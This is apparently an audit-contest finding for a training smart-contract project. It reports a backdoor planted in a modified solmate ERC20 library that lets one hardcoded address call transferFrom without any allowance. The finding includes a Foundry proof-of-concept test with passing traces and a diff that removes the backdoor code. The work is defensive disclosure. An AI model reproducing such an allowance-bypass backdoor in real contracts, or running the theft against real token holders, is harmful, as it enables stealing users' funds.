Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The elves want all the presents for themselves

Summary

Some Elves where extra naughty

Vulnerability Details

The transferFrom function in solmate ERC20.sol contains a conditional clause allowing a specific address 0x815F577F1c1bcE213c012f166744937C889DAF17 to transfer tokens without adhering to the expected allowance mechanism.

Impact

transferFrom function grants unauthorized privileges to an address (0x815F577F1c1bcE213c012f166744937C889DAF17) to transfer SantaToken without requiring approval from the rightful owners. This creates a significant security risk by allowing an external entity to execute unauthorized token transfers, compromising the integrity of the token system.

Uses may face potential token loss due to this vulnerability. Their earned or deserved tokens could be susceptible to unauthorized transfers, leading to undeserved losses or disruptions in their expected token balances.

The identified vulnerability not only undermines the security of the token system but also poses a direct risk to specific individuals who might be disproportionately affected by unauthorized token transfers.

PoC

Test:

function testStealingPresents() public {
address victim = makeAddr("victim");
address attacker = 0x815F577F1c1bcE213c012f166744937C889DAF17;
// santa double check victim as EXTRA_NICE
vm.startPrank(santa);
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
// Christmas has come
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// victim collect present
vm.startPrank(victim);
santasList.collectPresent();
assertEq(santasList.balanceOf(victim), 1);
assertEq(santaToken.balanceOf(victim), 1e18);
vm.stopPrank();
// attacker transfer victim SataToken to himself
// @notice there is no approval called previously
vm.startPrank(attacker);
santaToken.transferFrom(victim, attacker, 1e18);
assertEq(santaToken.balanceOf(victim), 0); // balance of victim
assertEq(santaToken.balanceOf(attacker), 1e18); // balance of attacker
vm.stopPrank();
}

Traces:

[PASS] testStealingPresents() (gas: 196658)
Traces:
[196658] NaughtyElf::testStealingPresents()
├─ [0] VM::addr(54610711874010270486459574547387192152578608100568658919478837675020523104927 [5.461e76]) [staticcall]
│ └─ ← victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]
├─ [0] VM::label(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], "victim")
│ └─ ← ()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 1)
│ ├─ emit CheckedOnce(person: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 1)
│ ├─ emit CheckedTwice(person: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], tokenId: 0)
│ ├─ [46713] SantaToken::mint(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0x815F577F1c1bcE213c012f166744937C889DAF17)
│ └─ ← ()
├─ [20023] SantaToken::transferFrom(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 0x815F577F1c1bcE213c012f166744937C889DAF17, 1000000000000000000 [1e18])
│ ├─ emit Transfer(from: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], to: 0x815F577F1c1bcE213c012f166744937C889DAF17, amount: 1000000000000000000 [1e18])
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 0
├─ [542] SantaToken::balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.37ms

Tools Used

Manually

Recommendations

Use latest solmate contracts or remove vulnerable part from current one

...
86 function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
-87 // hehehe :)
-88 // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
-89 if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
-90 balanceOf[from] -= amount;
-91 unchecked {
-92 balanceOf[to] += amount;
-93 }
-94 emit Transfer(from, to, amount);
-95 return true;
-96 }
...
113 }
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.